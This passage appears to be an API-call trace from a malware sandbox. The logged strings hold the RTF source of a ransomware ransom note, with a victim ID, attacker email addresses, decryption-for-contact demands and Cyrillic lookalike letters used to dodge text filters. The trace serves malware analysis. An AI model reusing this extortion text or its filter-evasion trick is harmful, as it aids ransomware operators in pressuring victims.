tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 